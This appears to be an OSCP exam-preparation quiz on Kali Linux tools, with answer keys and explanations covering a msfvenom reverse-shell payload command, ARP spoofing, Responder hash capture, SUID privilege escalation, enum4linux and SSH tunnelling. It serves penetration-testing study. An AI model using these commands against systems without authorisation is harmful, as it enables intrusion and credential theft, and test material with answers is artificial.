OSCP Kali Linux 3 — Questions and Answers
Question 1: Which Kali Linux command generates a reverse shell payload as an ELF binary for a Linux target?
- msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf (Correct answer)
- msfvenom -p windows/shell_reverse_tcp -f exe
- msfconsole -e reverse_tcp
- msfvenom --shellcode linux reverse
Correct answer: msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf
msfvenom with the linux/x86/shell_reverse_tcp payload and -f elf format generates a Linux ELF reverse shell binary.
Question 2: What Kali Linux tool would you use to perform ARP spoofing to intercept traffic between two hosts on a local network?
- tcpdump
- arpspoof
- ettercap
- Both arpspoof and ettercap are correct (Correct answer)
Correct answer: Both arpspoof and ettercap are correct
Both arpspoof (from dsniff suite) and ettercap can perform ARP spoofing attacks to position a Kali machine as a man-in-the-middle.
Question 3: When using Kali Linux's Wireshark, what display filter would show only HTTP GET requests?
- tcp.port == 80
- http.request.method == 'GET' (Correct answer)
- http.method.get
- tcp.flags.syn == 1
Correct answer: http.request.method == 'GET'
The Wireshark display filter http.request.method == "GET" isolates packets containing HTTP GET requests for analysis.
Question 4: In Kali Linux, what is the function of 'responder' during an internal network engagement?
- Responds to ICMP ping requests
- Poisons LLMNR/NBT-NS/mDNS requests to capture NTLMv2 hashes (Correct answer)
- Responds to ARP requests to build a network map
- Intercepts and responds to HTTP requests
Correct answer: Poisons LLMNR/NBT-NS/mDNS requests to capture NTLMv2 hashes
Responder listens for LLMNR, NBT-NS, and mDNS broadcast queries and responds to them, tricking hosts into authenticating and capturing NTLMv2 credential hashes.
Question 5: Which command in Kali Linux sets a file's SUID bit to make it execute with the owner's privileges?
- chmod u+s filename (Correct answer)
- chmod 777 filename
- chown root filename
- chmod +x filename
Correct answer: chmod u+s filename
chmod u+s sets the SUID bit on a file, causing it to run with the file owner's effective privileges — a key privilege escalation vector.
Question 6: What does the Kali Linux tool 'enum4linux' enumerate when run against a Windows or Samba target?
- Open TCP/UDP ports
- SMB shares, users, groups, policies, and password policies (Correct answer)
- HTTP directories and files
- SNMP community strings
Correct answer: SMB shares, users, groups, policies, and password policies
enum4linux wraps smbclient and rpcclient to enumerate SMB shares, domain users, groups, and password policy information from Windows and Samba hosts.
Question 7: In Kali Linux, which command would you use to forward local port 8080 to a remote host's port 80 via SSH tunneling?
- ssh -R 8080:remotehost:80 user@sshserver
- ssh -L 8080:remotehost:80 user@sshserver (Correct answer)
- ssh -D 8080 user@sshserver
- ssh -P 8080 user@sshserver
Correct answer: ssh -L 8080:remotehost:80 user@sshserver
ssh -L 8080:remotehost:80 creates a local port forward, binding local port 8080 and tunneling connections through the SSH server to remotehost:80.
OSCP Kali Linux 3
Which Kali Linux command generates a reverse shell payload as an ELF binary for a Linux target?